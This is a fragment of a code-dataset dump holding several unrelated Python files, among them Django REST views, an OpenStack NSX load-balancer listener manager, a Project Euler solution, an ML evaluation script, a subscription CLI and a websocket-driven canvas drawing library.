= {\n 'profile': user.profile,\n 'project_pk': project_pk,\n 'filehash': filehash.upper()\n }\n\n serializer = self.serializer_class(data=data, context=context)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n data = serializer.data\n\n # oss = data.get('oss', None)\n url = data.get('url', None)\n if url is None:\n token = self.get_token(filehash=filehash)\n return Response(token, status=status.HTTP_200_OK)\n return Response(data, status=status.HTTP_201_CREATED)\n\n\nclass DocumentViewSet(ModelViewSet, OssMixin):\n serializer_class = DocumentSerializer\n permission_classes = (IsAuthenticatedOrReadOnly,)\n\n prefetch_for_includes = {\n '__all__': [],\n 'project': ['project']\n }\n upload_dir = 'doc-images/'\n\n def get_queryset(self, *args, **kwargs):\n user = self.request.user\n params = self.request.query_params\n\n if user.is_anonymous():\n raise NotAuthenticated('You need authenticated')\n\n queryset = Document.objects.all()\n\n if 'project_pk' in self.kwargs:\n project_pk = self.kwargs['project_pk']\n queryset = queryset.filter(project__pk=project_pk)\n type = params.get('type', None)\n limit = params.get('limit', None)\n\n if type is not None:\n if type == 'viewed':\n queryset = queryset.order_by('updated_at')\n if type == 'edited':\n queryset = queryset.order_by('created_at')\n if limit is not None:\n queryset = queryset.slice(0, limit)\n return queryset\n\n def create(self, *args, **kwargs):\n data = self.request.data\n project_pk = kwargs.get('project_pk', None)\n if project_pk is None:\n raise NotFound('Project not found')\n context = {\n 'request': self.request,\n 'project_pk': project_pk\n }\n\n serializer = self.serializer_class(data=data, context=context)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n @list_route(methods=['POST'], parser_classes=(JSONParser,), permission_classes=(AllowAny,))\n def oss(self, request):\n data = request.data\n filename = data.get('filename')\n kind = data.get('kind')\n token = self.get_token(filename=filename)\n url = token['action'] + '/' + token['key']\n token['url'] = url\n return Response(token, status=status.HTTP_200_OK)\n","sub_path":"backend/scholar/apps/projects/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"560212953","text":"from ObjectDetectionDataset import *\n\ndef main():\n # Define the path to images and annotations\n images_path = os.path.join(os.getcwd(), \"tests\", \"cars_dataset\", \"images\")\n annotations_path = os.path.join(os.getcwd(), \"tests\", \"cars_dataset\", \"annotations\", \"xmls\")\n # Define the name of the dataset\n dbName = \"CarsDataset\"\n # Create an object of ObjectDetectionDataset\n imda = ObjectDetectionDataset(imagesDirectory = images_path, annotationsDirectory = annotations_path, databaseName = dbName)\n # Reduce the dataset to smaller Rois of smaller ROIs of shape 1032x1032.\n images_output_path = os.path.join(os.getcwd(), \"tests\", \"cars_dataset\", \"images_reduced\")\n annotations_output_path = os.path.join(os.getcwd(), \"tests\", \"cars_dataset\", \"annotations_reduced\", \"xmls\")\n imda.reduceDatasetByRois(offset = [1032, 1032], outputImageDirectory = images_output_path, outputAnnotationDirectory = annotations_output_path)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"crop_demo.py","file_name":"crop_demo.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"614214486","text":"class Pair:\n def __init__(self, digit, chainLength):\n self.digit = digit \n self.chainLength = chainLength\n\n\ndef findChain(inside,outside):\n found = False\n length = 1\n while not found:\n input = inside * 10\n inputDigit = int(input/outside)\n if input in hashTable:\n found = True\n return (length - hashTable[input])\n else:\n hashTable[input] = length\n inside = input % outside\n if inside == 0:\n return 0\n length += 1\n\n\nrepeatingIndexList = []\n \n#the key is the digit itself and the length is the value hashed in...\nfor divisor in range (1,1001):\n hashTable = {}\n\n a = Pair(divisor,findChain(1,divisor))\n repeatingIndexList.append(a)\n\n\nfor e in repeatingIndexList:\n print(\"%i chain length is %i\"%(e.digit,e.chainLength))","sub_path":"Python/e26/e26/e26.py","file_name":"e26.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"536432173","text":"import torch\nimport torch.backends.cudnn as cudnn\nimport argparse\nimport numpy as np\nimport pandas as pd\nfrom pyro.infer import SVI, Trace_ELBO\nfrom torch.optim import Adam\nimport pyvista as pv\n# from pyro.optim.lr_scheduler import PyroLRScheduler\nfrom pyro.optim import StepLR\n\nfrom coma.models import init_coma\nfrom coma.models.elbo import CustomELBO\nfrom coma.datasets.ukbb_meshdata import (\n UKBBMeshDataset, VerticesDataLoader, get_data_from_polydata\n)\nfrom coma.utils import transforms, writer\nfrom coma.utils.train_eval_svi import train_eval_svi\n\nimport json\n\n\nparser = argparse.ArgumentParser(description='mesh autoencoder')\nparser.add_argument('--out_dir', type=str, default='experiments')\nparser.add_argument('--version', type=int, default=0)\n\nargs = parser.parse_args()\n\nhparams_json = f'{args.out_dir}/version_{args.version}/hparam.json'\nwith open(hparams_json) as f:\n hparams = json.load(f)\n\nimport ast\nmodel_type = hparams['model_type'] \nout_channels = ast.literal_eval(hparams['out_channels'])\nlatent_channels = int(hparams['latent_channels'])\npooling_factor = int(hparams['pooling_factor'])\nin_channels = int(hparams['in_channels'])\nK = int(hparams['K'])\nparticles = int(hparams['particles'])\noutput_particles = int(hparams['output_particles'])\ndecoder_output = hparams['decoder_output']\nmvn_rank = int(hparams['mvn_rank'])\nn_blocks = int(hparams['n_blocks'])\nsubstructure = hparams['substructure']\n# TODO: Remove this hack\nif substructure == 'BrStem':\n filepath = '/vol/biomedic3/bglocker/brainshapes/1000596/T1_first-BrStem_first.vtk'\nelif substructure == 'R_Hipp':\n filepath = '/vol/biomedic3/bglocker/brainshapes/1000596/T1_first-R_Hipp_first.vtk'\n\nshape = int(hparams['shape'])\ncsv_path = hparams['csv_path']\n\n# device\ndevice = 'cuda' # torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n# deterministic\nseed = int(hparams['seed'])\nnp.random.seed(seed)\ntorch.manual_seed(seed)\ncudnn.benchmark = False\ncudnn.deterministic = True\n\n# Preprocessor\npreprocessor = transforms.get_transforms()\n\n# Load Dataset\nmesh_path = '/vol/biomedic3/bglocker/brainshapes'\n# cache_path = '/vol/bitbucket/rrr2417/deepscm/deepscm/subexperiments/medical_meshes/notebooks'\ncache_path = '.' # /vol/bitbucket/rrr2417/deepscm/deepscm/submodules/coma_ukbiobank_mesh/'\nsplit = float(hparams['train_test_split'])\nsubstructures = [substructure]\nfeature_name_map = {\n '31-0.0': 'Sex',\n '21003-0.0': 'Age',\n '25025-2.0': 'Brain Stem Volume',\n}\n\nmetadata_df = pd.read_csv(csv_path)\n\ntotal_train_dataset = UKBBMeshDataset(\n mesh_path,\n substructures=substructures,\n split=split,\n train=True,\n transform=preprocessor,\n reload_path=True,\n features_df=metadata_df,\n feature_name_map=feature_name_map,\n cache_path=cache_path,\n)\ntest_dataset = UKBBMeshDataset(\n mesh_path,\n substructures=substructures,\n split=split,\n train=False,\n transform=preprocessor,\n reload_path=True,\n features_df=metadata_df,\n feature_name_map=feature_name_map,\n cache_path=cache_path,\n)\n\nval_split = float(hparams['val_split'])\ntotal_train_length = len(total_train_dataset)\nval_length = int(val_split * total_train_length)\ntrain_length = total_train_length - val_length\n\ntrain_dataset, val_dataset = torch.utils.data.random_split(\n total_train_dataset,\n lengths=[train_length, val_length],\n generator=torch.Generator().manual_seed(seed),\n)\n\nbatch_size = int(hparams['batch_size'])\nprint(batch_size)\nprint(total_train_length)\nprint(len(test_dataset))\ntrain_dataloader = VerticesDataLoader(\n train_dataset,\n batch_size=batch_size,\n shuffle=False,\n)\nval_dataloader = VerticesDataLoader(\n val_dataset,\n batch_size=batch_size,\n shuffle=False,\n)\ntest_dataloader = VerticesDataLoader(\n test_dataset,\n batch_size=batch_size,\n shuffle=False,\n)\n\n\ntemplate = get_data_from_polydata(pv.read(filepath))\nmodel = init_coma(\n model_type,\n template,\n device,\n pooling_factor,\n decoder_output,\n in_channels=in_channels,\n out_channels=out_channels,\n latent_channels=latent_channels,\n K=K, n_blocks=n_blocks,\n mvn_rank=mvn_rank,\n)\ncheckpoint = f'{args.out_dir}/version_{args.version}/checkpoint.pt'\nmodel.load_state_dict(torch.load(checkpoint)['model_state_dict'])\nmodel = model.double()\nprint()\nprint('Model Loaded')\nprint()\n\n# Sanity Check\noutput_particles = int(hparams['output_particles'])\ntrial_graph = torch.ones((5, shape, in_channels))\nres = model.generate(trial_graph.to(device).double(), output_particles)\nprint(f'Sanity check, output shape: {res.shape}')\nassert res.shape == torch.Size([5, shape, in_channels])\n\nscheduler = StepLR({\n 'optimizer': Adam,\n 'optim_args': {\n 'lr': float(hparams['lr']),\n },\n 'step_size': int(hparams['scheduler_steps']),\n 'gamma': float(hparams['step_gamma']),\n})\nloss = CustomELBO(num_particles=int(hparams['particles']))\nsvi = SVI(model.model, model.guide, scheduler, loss=loss)\nsvi.loss_class = loss\n\nprint('Calculating Train metrics')\nmetrics, _ = train_eval_svi(svi, model, train_dataloader, device, output_particles, train=False)\nprint(metrics)\nprint('Calculating Val metrics')\nmetrics, _ = train_eval_svi(svi, model, val_dataloader, device, output_particles, train=False)\nprint(metrics)\nprint('Calculating Test metrics')\nmetrics, _ = train_eval_svi(svi, model, test_dataloader, device, output_particles, train=False)\nprint(metrics)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"283651987","text":"# Copyright 2018 VMware, Inc.\n# All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom neutron_lib import exceptions as n_exc\nfrom oslo_log import helpers as log_helpers\nfrom oslo_log import log as logging\nfrom oslo_utils import excutils\n\nfrom vmware_nsx._i18n import _\nfrom vmware_nsx.common import exceptions as nsx_exc\nfrom vmware_nsx.services.lbaas import base_mgr\nfrom vmware_nsx.services.lbaas import lb_const\nfrom vmware_nsx.services.lbaas.nsx_v3.implementation import lb_utils\nfrom vmware_nsxlib.v3 import exceptions as nsxlib_exc\nfrom vmware_nsxlib.v3.policy import core_resources\nfrom vmware_nsxlib.v3.policy import lb_defs\nfrom vmware_nsxlib.v3 import utils\n\nLOG = logging.getLogger(__name__)\n\n\nclass EdgeListenerManagerFromDict(base_mgr.NsxpLoadbalancerBaseManager):\n @log_helpers.log_method_call\n def _get_listener_tags(self, context, listener):\n tags = lb_utils.get_tags(self.core_plugin, listener['id'],\n lb_const.LB_LISTENER_TYPE,\n listener['tenant_id'],\n context.project_name)\n tags.append({\n 'scope': 'os-lbaas-lb-name',\n 'tag': listener['loadbalancer']['name'][:utils.MAX_TAG_LEN]})\n tags.append({\n 'scope': 'os-lbaas-lb-id',\n 'tag': listener['loadbalancer_id']})\n return tags\n\n @log_helpers.log_method_call\n def _upload_certificate(self, listener_id, cert_href, tags,\n certificate=None):\n cert_client = self.core_plugin.nsxpolicy.certificate\n\n passphrase = certificate.get_private_key_passphrase()\n if not passphrase:\n passphrase = core_resources.IGNORE\n cert_client.create_or_overwrite(\n cert_href, certificate_id=listener_id,\n pem_encoded=certificate.get_certificate(),\n private_key=certificate.get_private_key(),\n passphrase=passphrase,\n tags=tags)\n\n return {\n 'client_ssl_profile_binding': {\n 'ssl_profile_id': self.core_plugin.client_ssl_profile,\n 'default_certificate_id': listener_id\n }\n }\n\n @log_helpers.log_method_call\n def _get_virtual_server_kwargs(self, context, listener, vs_name, tags,\n certificate=None):\n # If loadbalancer vip_port already has floating ip, use floating\n # IP as the virtual server VIP address. Else, use the loadbalancer\n # vip_address directly on virtual server.\n filters = {'port_id': [listener['loadbalancer']['vip_port_id']]}\n floating_ips = self.core_plugin.get_floatingips(context,\n filters=filters)\n if floating_ips:\n lb_vip_address = floating_ips[0]['floating_ip_address']\n else:\n lb_vip_address = listener['loadbalancer']['vip_address']\n kwargs = {'virtual_server_id': listener['id'],\n 'ip_address': lb_vip_address,\n 'ports': [listener['protocol_port']],\n 'application_profile_id': listener['id'],\n 'lb_service_id': listener['loadbalancer_id'],\n 'description': listener.get('description')}\n if vs_name:\n kwargs['name'] = vs_name\n if tags:\n kwargs['tags'] = tags\n if listener['connection_limit'] != -1:\n kwargs['max_concurrent_connections'] = listener['connection_limit']\n if listener['default_pool_id']:\n kwargs['pool_id'] = listener['default_pool_id']\n if certificate:\n ssl_profile_binding = self._upload_certificate(\n listener['id'], listener['default_tls_container_id'], tags,\n certificate=certificate)\n if (listener['protocol'] == lb_const.LB_PROTOCOL_TERMINATED_HTTPS\n and ssl_profile_binding):\n kwargs.update(ssl_profile_binding)\n\n waf_profile, mode = self.core_plugin.get_waf_profile_path_and_mode()\n if (waf_profile and (\n listener['protocol'] == lb_const.LB_PROTOCOL_HTTP or\n listener['protocol'] == lb_const.LB_PROTOCOL_TERMINATED_HTTPS)):\n kwargs['waf_profile_binding'] = lb_defs.WAFProfileBindingDef(\n waf_profile_path=waf_profile,\n operational_mode=mode)\n\n return kwargs\n\n def _get_nsxlib_app_profile(self, nsxlib_lb, listener):\n if (listener['protocol'] == lb_const.LB_PROTOCOL_HTTP or\n listener['protocol'] == lb_const.LB_PROTOCOL_TERMINATED_HTTPS):\n app_client = nsxlib_lb.lb_http_profile\n elif (listener['protocol'] == lb_const.LB_PROTOCOL_TCP or\n listener['protocol'] == lb_const.LB_PROTOCOL_HTTPS):\n app_client = nsxlib_lb.lb_fast_tcp_profile\n else:\n msg = (_('Cannot create listener %(listener)s with '\n 'protocol %(protocol)s') %\n {'listener': listener['id'],\n 'protocol': listener['protocol']})\n raise n_exc.BadRequest(resource='lbaas-listener', msg=msg)\n\n return app_client\n\n @log_helpers.log_method_call\n def create(self, context, listener, completor,\n certificate=None):\n nsxlib_lb = self.core_plugin.nsxpolicy.load_balancer\n vs_client = nsxlib_lb.virtual_server\n vs_name = utils.get_name_and_uuid(listener['name'] or 'listener',\n listener['id'])\n tags = self._get_listener_tags(context, listener)\n app_client = self._get_nsxlib_app_profile(nsxlib_lb, listener)\n try:\n app_client.create_or_overwrite(\n lb_app_profile_id=listener['id'], name=vs_name, tags=tags)\n kwargs = self._get_virtual_server_kwargs(\n context, listener, vs_name, tags, certificate)\n vs_client.create_or_overwrite(**kwargs)\n except nsxlib_exc.ManagerError:\n completor(success=False)\n msg = _('Failed to create virtual server at NSX backend')\n raise n_exc.BadRequest(resource='lbaas-listener', msg=msg)\n\n completor(success=True)\n\n @log_helpers.log_method_call\n def update(self, context, old_listener, new_listener, completor,\n certificate=None):\n nsxlib_lb = self.core_plugin.nsxpolicy.load_balancer\n vs_client = nsxlib_lb.virtual_server\n app_client = self._get_nsxlib_app_profile(nsxlib_lb, old_listener)\n\n vs_name = None\n tags = None\n if new_listener['name'] != old_listener['name']:\n vs_name = utils.get_name_and_uuid(\n new_listener['name'] or 'listener',\n new_listener['id'])\n tags = self._get_listener_tags(context, new_listener)\n\n try:\n vs_id = new_listener['id']\n app_profile_id = new_listener['id']\n updated_kwargs = self._get_virtual_server_kwargs(\n context, new_listener, vs_name, tags, app_profile_id,\n certificate)\n vs_client.update(vs_id, **updated_kwargs)\n if vs_name:\n app_client.update(app_profile_id, display_name=vs_name,\n tags=tags)\n except Exception as e:\n with excutils.save_and_reraise_exception():\n completor(success=False)\n LOG.error('Failed to update listener %(listener)s with '\n 'error %(error)s',\n {'listener': old_listener['id'], 'error': e})\n completor(success=True)\n\n @log_helpers.log_method_call\n def delete(self, context, listener, completor):\n nsxlib_lb = self.core_plugin.nsxpolicy.load_balancer\n vs_client = nsxlib_lb.virtual_server\n app_client = self._get_nsxlib_app_profile(nsxlib_lb, listener)\n\n vs_id = listener['id']\n app_profile_id = listener['id']\n\n try:\n vs_client.delete(vs_id)\n except nsx_exc.NsxResourceNotFound:\n LOG.error(\"virtual server not found on nsx: %(vs)s\", {'vs': vs_id})\n except nsxlib_exc.ManagerError:\n completor(success=False)\n msg = (_('Failed to delete virtual server: %(vs)s') %\n {'vs': vs_id})\n raise n_exc.BadRequest(resource='lbaas-listener', msg=msg)\n\n try:\n app_client.delete(app_profile_id)\n except nsx_exc.NsxResourceNotFound:\n LOG.error(\"application profile not found on nsx: %s\",\n app_profile_id)\n\n except nsxlib_exc.ManagerError:\n completor(success=False)\n msg = (_('Failed to delete application profile: %(app)s') %\n {'app': app_profile_id})\n raise n_exc.BadRequest(resource='lbaas-listener', msg=msg)\n\n # Delete imported NSX cert if there is any\n if listener['default_tls_container_id']:\n cert_client = self.core_plugin.nsxpolicy.certificate\n try:\n cert_client.delete(listener['id'])\n except nsx_exc.NsxResourceNotFound:\n LOG.error(\"Certificate not found on nsx: %s\", listener['id'])\n\n except nsxlib_exc.ManagerError:\n completor(success=False)\n msg = (_('Failed to delete certificate: %(crt)s') %\n {'crt': listener['id']})\n raise n_exc.BadRequest(resource='lbaas-listener', msg=msg)\n\n completor(success=True)\n\n @log_helpers.log_method_call\n def delete_cascade(self, context, listener, completor):\n self.delete(context, listener, completor)\n\n\ndef stats_getter(context, core_plugin, ignore_list=None):\n \"\"\"Update Octavia statistics for each listener (virtual server)\"\"\"\n #TODO(kobis): Implement\n","sub_path":"vmware_nsx/services/lbaas/nsx_p/implementation/listener_mgr.py","file_name":"listener_mgr.py","file_ext":"py","file_size_in_byte":10402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"45942169","text":"import json\n\nimport urllib3\nfrom rest_framework import mixins\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework.viewsets import GenericViewSet, ReadOnlyModelViewSet\n\nfrom Zerg import settings\nfrom api.exceptions import WeChatException, ThemeDoesNotExistException\nfrom api.models import Banner, Theme, Product, Category, User\nfrom api.serializer import BannerSerializer, ThemeSerializer, ThemeDetailSerializer, CategorySerializer, \\\n ProductDetailSerializer\nfrom api.token import Token\nfrom api.utils import prepare_cached_value, save_to_cache\nfrom api.validators import IdsValidator\n\n\nclass BannerViewSet(mixins.RetrieveModelMixin, GenericViewSet):\n \"\"\"\n Banner\n ---\n\n \"\"\"\n queryset = Banner.objects.all().prefetch_related('items__img', 'items')\n serializer_class = BannerSerializer\n\n\nclass ThemeViewSet(ReadOnlyModelViewSet):\n \"\"\"\n ---\n list:\n parameters:\n - name: ids\n description: example id1,id2,id3,id4\n required: false\n type: string\n paramType: query\n \"\"\"\n\n def get_queryset(self):\n queryset = Theme.objects.all().prefetch_related('head_img', 'topic_img', 'product', 'product__img')\n ids = self.request.GET.get('ids')\n if ids:\n IdsValidator()(ids)\n queryset = queryset.filter(pk__in=ids.split(','))\n if not queryset.exists():\n raise ThemeDoesNotExistException\n return queryset\n\n def get_serializer_class(self):\n if self.action == 'retrieve':\n return ThemeDetailSerializer\n return ThemeSerializer\n\n\nclass ProductViewSet(mixins.RetrieveModelMixin, GenericViewSet):\n queryset = Product.objects.all()\n serializer_class = ProductDetailSerializer\n\n\nclass CategoryViewSet(ReadOnlyModelViewSet):\n queryset = Category.objects.prefetch_related('topic_img')\n serializer_class = CategorySerializer\n\n\nclass UserTokenAPIView(APIView):\n\n def post(self, request):\n \"\"\"\n ---\n parameters:\n - name: code\n description: js_code\n required: false\n type: string\n paramType: form\n \"\"\"\n\n code = self.request.data.get('code')\n https = urllib3.PoolManager()\n wechat_applets = settings.WECHAT_APPLETS\n response = https.request(\n 'GET',\n wechat_applets['LoginURL'],\n fields={\n 'appid': wechat_applets['AppID'],\n 'secret': wechat_applets['AppSecret'],\n 'js_code': code,\n 'grant_type': 'authorization_code'\n })\n response = json.loads(response.data.decode())\n if response.get('errcode'):\n raise WeChatException(response['errmsg'])\n openid = response.get('openid', '')\n if openid:\n try:\n user = User.objects.get(openid=openid)\n except User.DoesNotExist:\n user = User.objects.create(openid=openid)\n uid = user.id\n value = prepare_cached_value(response, uid, 16)\n token = Token.generate_token()\n print(token)\n save_to_cache(token, value, 72000)\n return Response(data={'token': token})\n\n\n","sub_path":"api/viewsets.py","file_name":"viewsets.py","file_ext":"py","file_size_in_byte":3312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"260809870","text":"\"\"\"\r\nMoonstream CLI\r\n\"\"\"\r\nimport argparse\r\n\r\nfrom bugout.data import BugoutResources\r\nfrom bugout.exceptions import BugoutResponseException\r\n\r\nfrom .settings import (\r\n MOONSTREAM_ADMIN_ACCESS_TOKEN,\r\n MOONSTREAM_APPLICATION_ID,\r\n bugout_client as bc,\r\n)\r\n\r\n\r\nclass BroodResourcesInteractionException(Exception):\r\n pass\r\n\r\n\r\nclass UnExpectedException(Exception):\r\n pass\r\n\r\n\r\ndef add_subscription_handler(args: argparse.Namespace) -> None:\r\n \"\"\"\r\n Handler for \"groups subscription add\" subcommand.\r\n \"\"\"\r\n new_subscription_id = 0\r\n params = {\"type\": \"subscription_type\"}\r\n\r\n try:\r\n # resolve index\r\n try:\r\n resources: BugoutResources = bc.list_resources(\r\n token=MOONSTREAM_ADMIN_ACCESS_TOKEN, params=params\r\n )\r\n new_subscription_id = (\r\n max(\r\n [\r\n int(resource.resource_data[\"id\"])\r\n for resource in resources.resources\r\n ]\r\n )\r\n + 1\r\n )\r\n except BugoutResponseException as e:\r\n if e.detail != \"Resources not found\":\r\n raise BroodResourcesInteractionException(\r\n f\"status_code={e.status_code}, detail={e.detail}\"\r\n )\r\n # If Brood returns 404, then we want to continue execution of the outer try block\r\n # with new_subscription_id as 0. That's why we don't have an \"else\" condition here.\r\n except Exception as e:\r\n print(\"Unexpected Exception on request to brood\")\r\n raise\r\n\r\n subscription_data = {\r\n \"type\": \"subscription_type\",\r\n \"id\": str(new_subscription_id),\r\n \"name\": args.name,\r\n \"description\": args.description,\r\n \"stripe_product_id\": args.stripe_product_id,\r\n \"stripe_price_id\": args.stripe_price_id,\r\n \"active\": args.active,\r\n }\r\n\r\n try:\r\n bc.create_resource(\r\n token=MOONSTREAM_ADMIN_ACCESS_TOKEN,\r\n application_id=MOONSTREAM_APPLICATION_ID,\r\n resource_data=subscription_data,\r\n )\r\n except BugoutResponseException as e:\r\n print(f\"status_code={e.status_code}, detail={e.detail}\")\r\n raise BroodResourcesInteractionException(\r\n f\"status_code={e.status_code}, detail={e.detail}\"\r\n )\r\n except Exception as e:\r\n print(f\"Exception in create brood resource error:{e}\")\r\n raise UnExpectedException(\"Error in resource creating\")\r\n\r\n except Exception as e:\r\n print(e)\r\n\r\n\r\ndef main() -> None:\r\n parser = argparse.ArgumentParser(description=\"Moonstream CLI\")\r\n parser.set_defaults(func=lambda _: parser.print_help())\r\n subcommands = parser.add_subparsers(description=\"Moonstream commands\")\r\n\r\n parser_subscription = subcommands.add_parser(\r\n \"subscription-type\", description=\"Manage Moonstream subscription types\"\r\n )\r\n parser_subscription.set_defaults(func=lambda _: parser_subscription.print_help())\r\n subcommands_subscription = parser_subscription.add_subparsers(\r\n description=\"Moonstream subscription commands\"\r\n )\r\n\r\n # Subscriptions command parser\r\n parser_subscription_create = subcommands_subscription.add_parser(\r\n \"create\", description=\"Create Moonstream subscription\"\r\n )\r\n parser_subscription_create.add_argument(\r\n \"-n\",\r\n \"--name\",\r\n required=True,\r\n type=str,\r\n help=\"Title of that subscription\",\r\n )\r\n parser_subscription_create.add_argument(\r\n \"-d\",\r\n \"--description\",\r\n required=True,\r\n type=str,\r\n help=\"Description for user\",\r\n )\r\n parser_subscription_create.add_argument(\r\n \"--stripe-product-id\",\r\n required=False,\r\n default=None,\r\n type=str,\r\n help=\"Stripe product id\",\r\n )\r\n parser_subscription_create.add_argument(\r\n \"--stripe-price-id\",\r\n required=False,\r\n default=None,\r\n type=str,\r\n help=\"Stripe price id\",\r\n )\r\n parser_subscription_create.add_argument(\r\n \"--active\",\r\n action=\"store_true\",\r\n help=\"Set this flag to create a verified user\",\r\n )\r\n parser_subscription_create.set_defaults(func=add_subscription_handler)\r\n\r\n args = parser.parse_args()\r\n args.func(args)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"backend/moonstream/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":4506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"335967186","text":"#!/usr/bin/env python3\n'''\n@author Michele Tomaiuolo - http://www.ce.unipr.it/people/tomamic\n@license This software is free - http://www.gnu.org/licenses/gpl.html\n'''\n\nimport os, subprocess, sys, threading, time\nimport http.server, socketserver, webbrowser\n\n_ws, _httpd, _wv = None, None, None\n_http_port, _ws_port = 8008, 7574\n_mouse_pos, _keys, _prev_keys = (0, 0), set(), set()\n_pressed, _released = set(), set()\n_size = (640, 480)\n_jss, _answer, _cond = [], None, threading.Condition()\n\ndef check_ws() -> bool:\n with _cond:\n return _ws != None\n\ndef init_canvas(size: (int, int)) -> None:\n global _size\n _size = size\n if not check_ws():\n threading.Thread(target=serve_files).start()\n threading.Thread(target=start_websocket).start()\n threading.Thread(target=start_webview, args=size).start()\n with _cond:\n while not _ws:\n _cond.wait()\n else:\n _jss.append(f\"canvas.width = {size[0]}; canvas.height = {size[1]}\")\n\ndef canvas_size() -> (int, int):\n return _size\n\ndef set_color(c: (int, int, int)) -> None:\n _jss.append(f\"ctx.strokeStyle = `rgb{str(c)}`\")\n _jss.append(f\"ctx.fillStyle = `rgb{str(c)}`\")\n\ndef clear_canvas() -> None:\n _jss.append(f\"ctx.clearRect(0, 0, canvas.width, canvas.height);\")\n\ndef draw_line(pt1: (int, int), pt2: (int, int)) -> None:\n _jss.append(f\"ctx.beginPath(); ctx.moveTo({pt1[0]}, {pt1[1]}); ctx.lineTo({pt2[0]}, {pt2[1]}); ctx.stroke()\")\n\ndef fill_circle(pt: (int, int), r: int) -> None:\n _jss.append(f\"ctx.beginPath(); ctx.arc({pt[0]}, {pt[1]}, {r}, 0, 2*Math.PI); ctx.closePath(); ctx.fill()\")\n\ndef fill_rect(r: (int, int, int, int)) -> None:\n _jss.append(f\"ctx.fillRect({str(r)[1:-1]})\")\n\ndef load_image(src: str) -> str:\n _jss.append(f\"loadElement('IMG', '{src}')\")\n return src\n\ndef draw_image(src: str, pt: (int, int)) -> None:\n _jss.append(f\"loadElement('IMG', '{src}')\")\n _jss.append(f\"ctx.drawImage(loaded[`{src}`], {pt[0]}, {pt[1]})\")\n\ndef draw_image_clip(src: str, clip: (int, int, int, int),\n pt: (int, int, int, int)) -> None:\n _jss.append(f\"loadElement('IMG', '{src}')\")\n _jss.append(f\"ctx.drawImage(loaded[`{src}`], {str(clip+pt)[1:-1]})\")\n\ndef draw_text(txt: str, pt: (int, int), size: int, baseline=\"top\", align=\"left\") -> None:\n txt = txt.replace(r\"`\", r\"\\`\")\n _jss.append(f\"ctx.font = `{size}px sans-serif`\")\n _jss.append(f\"ctx.textBaseline = `{baseline}`; ctx.textAlign = `{align}`\")\n _jss.append(f\"ctx.fillText(`{txt}`, {pt[0]}, {pt[1]})\")\n\ndef draw_text_centered(txt: str, pt: (int, int), size: int) -> None:\n draw_text(txt, pt, size, \"middle\", \"center\")\n\ndef load_audio(src: str) -> str:\n _jss.append(f\"loadElement('AUDIO', '{src}')\")\n return src\n\ndef play_audio(src: str, loop=False) -> None:\n _jss.append(f\"loadElement('AUDIO', '{src}').loop = {str(loop).lower()}\")\n _jss.append(f\"loadElement('AUDIO', '{src}').play()\")\n\ndef pause_audio(src: str) -> None:\n _jss.append(f\"loadElement('AUDIO', '{src}').pause();\")\n\ndef _dialog(dialog: str, message: str) -> str:\n message = message.replace(r\"`\", r\"\\`\")\n _jss.append(f\"websocket.send(`answer ` + {dialog}(`{message}`))\")\n update_canvas()\n with _cond:\n while _answer == None:\n _cond.wait()\n return _answer\n\ndef alert(message: str) -> None:\n _dialog(\"alert\", message)\n\ndef confirm(message: str) -> bool:\n return _dialog(\"confirm\", message) == \"true\"\n\ndef prompt(message: str) -> str:\n return _dialog(\"prompt\", message)\n\ndef mouse_position() -> (int, int):\n with _cond:\n return _mouse_pos\n\ndef key_pressed(key: str) -> bool:\n with _cond:\n return key in _pressed\n\ndef key_released(key: str) -> bool:\n with _cond:\n return key in _released\n\ndef pressed_keys() -> list:\n with _cond:\n return list(_pressed)\n\ndef released_keys() -> list:\n with _cond:\n return list(_released)\n\ndef update_canvas() -> None:\n global _answer\n with _cond:\n _pressed.clear()\n _released.clear()\n _answer = None\n if not check_ws():\n init_canvas(_size)\n _ws.sendMessage(\";\\n\".join(_jss + [\"\"]))\n _jss.clear()\n\ndef main_loop(tick=None, fps=30) -> None:\n update_canvas()\n try:\n while check_ws():\n if tick: tick()\n update_canvas()\n time.sleep(1 / fps)\n finally:\n close_canvas()\n _httpd.shutdown()\n if _wv: _wv.terminate()\n\ndef close_canvas():\n _jss.append(f\"websocket.close()\")\n update_canvas()\n\n\n#### http-server: minimal web server, for files in current dir\n\nclass FileHandler(http.server.SimpleHTTPRequestHandler):\n def do_GET(self):\n if self.path == \"/\":\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html\")\n self.end_headers()\n html = _html.replace(\"%WIDTH%\", str(_size[0]))\n html = html.replace(\"%HEIGHT%\", str(_size[1]))\n html = html.replace(\"%PORT%\", str(_ws_port))\n self.wfile.write(html.encode(\"utf-8\"))\n else:\n super().do_GET()\n\ndef serve_files() -> None:\n global _httpd\n 